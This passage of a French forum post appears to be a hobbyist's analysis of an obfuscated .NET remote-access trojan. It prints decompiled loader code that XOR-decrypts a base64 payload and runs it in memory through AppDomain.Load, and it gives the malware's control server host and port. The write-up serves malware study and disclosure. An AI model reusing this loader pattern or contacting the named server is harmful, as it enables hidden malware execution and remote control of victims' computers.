OR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HAHAAAAwAAACgNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
            byte[] ك与いл与ḒجҘ頂عωбه四ن予ЀзecϐيӧثаnеҼҞ革byte = Program.RSADecrypte(Convert.FromBase64String(s));
            Program.おӔШkъmはҞえЀえناいъxḔきpyふrгيبoώмا(ك与いл与ḒجҘ頂عωбه四ن予ЀзecϐيӧثаnеҼҞ革byte);
        }
        public static void おӔШkъmはҞえЀえناいъxḔきpyふrгيبoώмا(byte[] ك与いл与ḒجҘ頂عωбه四ن予ЀзecϐيӧثаnеҼҞ革byte)
        {
            string text = null;
            string s = "MQ==";
            AppDomain.CurrentDomain.Load(ك与いл与ḒجҘ頂عωбه四ن予ЀзecϐيӧثаnеҼҞ革byte).EntryPoint.Invoke(text, (object[])Interaction.IIf(AppDomain.CurrentDomain.Load(ك与いл与ḒجҘ頂عωбه四ن予ЀзecϐيӧثаnеҼҞ革byte).EntryPoint.GetParameters().Length > 0, new object[]
            {
                new string[]
                {
                    new ASCIIEncoding().GetString(Convert.FromBase64String(s))
                }
            }, text));
        }
        public static byte[] RSADecrypte(byte[] data)
        {
            byte[] array = new byte[data.Length - 16];
            Buffer.BlockCopy(data, 16, array, 0, array.Length);
            for (int i = 0; i < array.Length; i++)
            {
                array[i] = Convert.ToByte((int)(array[i] ^ data[i % 16]));
            }
            return array;
        }

Cette fois si, je décide de coder rapidement de quoi déchiffrer, et je code donc en C# pour réutilisez le code de la fonction RSADecrypte.

Code :

public static byte[] RSADecrypte(byte[] data)
        {
            byte[] array = new byte[data.Length - 16];
            Buffer.BlockCopy(data, 16, array, 0, array.Length);
            for (int i = 0; i < array.Length; i++)
            {
                array[i] = Convert.ToByte((int)(array[i] ^ data[i % 16]));
            }
            return array;
        }


        private void button1_Click(object sender, EventArgs e)
        {
            string s = "> Ici on met la string qu'on avait avant (je veux pas que ça prenne trop de place sur le post)";
            byte[] byte_ = RSADecrypte(Convert.FromBase64String(s));
            File.WriteAllBytes("tmp.txt", byte_);
        }

Nous voila donc avec notre troisième fichier, vous connaissez la chanson, bonjour IlSpy ^^
Et nous y voila enfin, notre bon petit malware !
Cette fois si, je ne vais pas poster le code en complet, c'est beaucoup trop long, et je m'en voudrais d'uploader moi même un malware, alors je vous propose si vous souhaitez en voir d'avantage de déchiffrer vous même avec le code ci dessus

Bref, cette fois ci, ce n'est plus un obfu ou packer, mais bien le malware.
Après avoir analyser les fonction send et sendb qui semble permettre la communication, avec le serveur, via la connexion avec connect, on retrouve son adresse

Code :

OK.C.Connect(OK.H, Conversions.ToInteger(OK.P));

Code :

public static string H = "gamer0.servegame.com";
public static string P = "5552";

Après reverse DNS et IP, il se trouve que c'est un utilisateur de "Maroc Telecom" qui est serveur.

Après cela, j'ai regardé qui utilisais

Code :

public static TcpClient C = null;

Il y a donc bien connect, sendb, mais aussi RC et Ind(byte[])

Commençons par RC. Il est lancé par ko(), la méthode principale appelé par la main. Il se trouve que c'est un thread qui ne s'arrête pas de boucler et qui s'occupe de recevoir les donné envoyé par le serveur. Ind lui, est appelé par RC.

Nous avons donc un jolie petit RAT/Trojan 100% .NET et plutôt bien caché

L'évolution de la détection au fur et a mesure de l'évolution dans les fichiers :
https://www.virustotal.com/fr/file/0d921...409194571/
https://www.virustotal.com/fr/file/1ac3e...409194621/
https://www.virustotal.com/fr/file/d4ca5...409194642/

Voila ce que je sais pour le moment, je ne sais pas encore si je retournerais peaufiner ce que je sais, mais je comptais le partager avec vous

N'hésitez pas a me dire ce que vous pensez de mon post,
bonne soirée